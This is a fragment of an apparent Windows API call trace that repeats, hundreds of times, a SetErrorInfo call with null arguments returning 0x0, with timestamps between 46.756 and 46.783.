0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.756] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.757] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.757] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.757] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.757] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.757] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.757] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.757] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.757] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.757] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.757] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.758] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.759] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.760] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.761] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.762] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.763] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.764] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.765] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.767] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.768] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.773] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.773] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.774] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.775] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.775] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.775] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.775] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.775] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.775] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.775] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.775] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.775] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.775] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.776] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.779] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.780] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.781] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.781] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.782] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.783] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.783] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0046.783] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 